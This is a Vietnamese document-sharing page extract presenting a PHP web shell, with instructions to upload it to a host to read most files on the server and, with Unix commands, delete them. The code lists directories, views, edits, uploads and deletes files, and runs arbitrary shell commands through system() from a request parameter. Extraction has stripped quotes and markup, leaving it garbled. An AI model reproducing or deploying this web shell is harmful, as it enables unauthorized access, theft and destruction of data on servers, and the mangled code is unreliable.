Thông tin tài liệu:
View code :Copy nội dung sau thành 1 file *.php. Up lên server, chạy file đó, bạn có thể xem code của hầu hết các file trong host, chịu khó tìm hiểu 1 chút thì có thể view code toàn server, hoạc thêm chút lệnh của unix nữa là có thể xóa del hầu hết mí file trong đó. array( "function" = "viewGIF", "icon" = "icons/image2.gif" ), "jpg" = array(
Nội dung trích xuất từ tài liệu:
View code bằng file PHPView code :Copy nội dung sau thành 1 file *.php. Up lên server, chạy file đó, bạn có thểxem code của hầu hết các file trong host, chịu khó tìm hiểu 1 chút thì có thểview code toàn server, hoạc thêm chút lệnh của unix nữa là có thể xóa del hầuhết mí file trong đó.function readDirectory($directory){ global $files, $directories, $dir;$files = array();$directories = array();$a = 0; $b = 0;$dirHandler = opendir($directory);while ($file = readdir($dirHandler)){ if ($file != . && $file != ..){ $fullName = $dir.($dir == / ? : /).$file;if (is_dir($fullName)) $directories[$a++] = $fullName;else $files[$b++] = $fullName; } }sort($directories); sort($files); };function showInfoDirectory($directory){ g lobal $PHP_SELF; $dirs = split(/, $directory);print Directory /; for ($i = 1; $i < (sizeof($dirs));$i++) { print ACTIONS else echo ; echo ; } echo ;if ($fileInfo->isLink) { echo $fileInfo->name. -> ;$fileInfo->fullname = $fileInfo->linkTo;$fileInfo->name = $fileInfo->linkTo; }if ($fileInfo->isDir) { echo fullname ;echo >$fileInfo->name; }else echo $fileInfo->name;echo ;echo $fileInfo->size;echo $fileInfo->lastmod;echo $fileInfo->perms;echo ; if (!$fileInfo->isDir) {if ($fileInfo->perms[6] == r) { echo fullname&action=view> View; }if ($fileInfo->perms[7] == w) { echo fullname&action=edit> Edit; echo fullname&action=delete> Del; }}echo ; };function viewFile($file){ g lobal $associations, $fileInfo;$fileInfo->getInfo($file);if (!$associations[$fileInfo->extension] || $associations[$fileInfo->extension][function] == ) showFile($file);else $associations[$fileInfo->extension][function]($file); };function showFile($file, $editing = 0){ g lobal $PHP_SELF, $dir; $handlerFile = fopen($file, r) or die(ERROR openingfile $file);if ($editing) echo Edit file $file;else echo File $file;echo ;$buffer = fread($handlerFile, filesize($file));$buffer = str_replace(&, &, $buffer);$buffer = str_replace(, $buffer); echo $buffer;if ($editing) echo
;echo ;fclose($handlerFile); };function saveFile($file){ g lobal $dir, $text; $handlerFile = fopen($file, w) or die(ERROR: Could notopen file .basename($file). for writing);$text = stripslashes($text);fwrite($handlerFile, $text, strlen($text)) or die(Error writing to file.);fclose($handlerFile);echo Changes has been saved in .basename($file).;$dir = dirname($file); };function uploadFile(){ g lobal $HTTP_POST_FILES,$dir;copy($HTTP_POST_FILES[userfile][tmp_name],$dir./.$HTTP_POST_FILES[userfile][name]) or die(Error uploadingfile.$HTTP_POST_FILES[userfile][name]);echo File .$HTTP_POST_FILES[userfile][name]. succesfully uploaded.;//unlink($userfile); };function deleteFile($file){ global $confirm;if ($confirm != TRUE) die(Confirm deletion of $file);else {if (!unlink($file)) return FALSE; return TRUE; } };function viewFileHeader($file, $header){ header($header); readfile($file); };function viewGIF($file){ viewFileHeader($file, Content-type: image/gif); };function viewJPEG($file){ viewFileHeader($file, Content-type: image/jpeg); };switch ($action) { case phpinfo: phpinfo();die();case view: viewFile($dir);break;case edit: showFile($dir, 1); break;case download: viewFileHeader($dir, Content-type: unknown); break; casedelete: if (!deleteFile($dir)) echo Could not delete file $dir; else echo File $dir deleted succesfully; $dir = dirname($dir);showDirectory($dir);break; case exec: echo
;echo system($dir);echo
;exit();case upload: uploadFile(); showDirectory($dir);break;case save: saveFile($dir);default: showDirectory($dir); break; };if ($action != view): ?> > Jump todirectory Create directory Execute shell cmd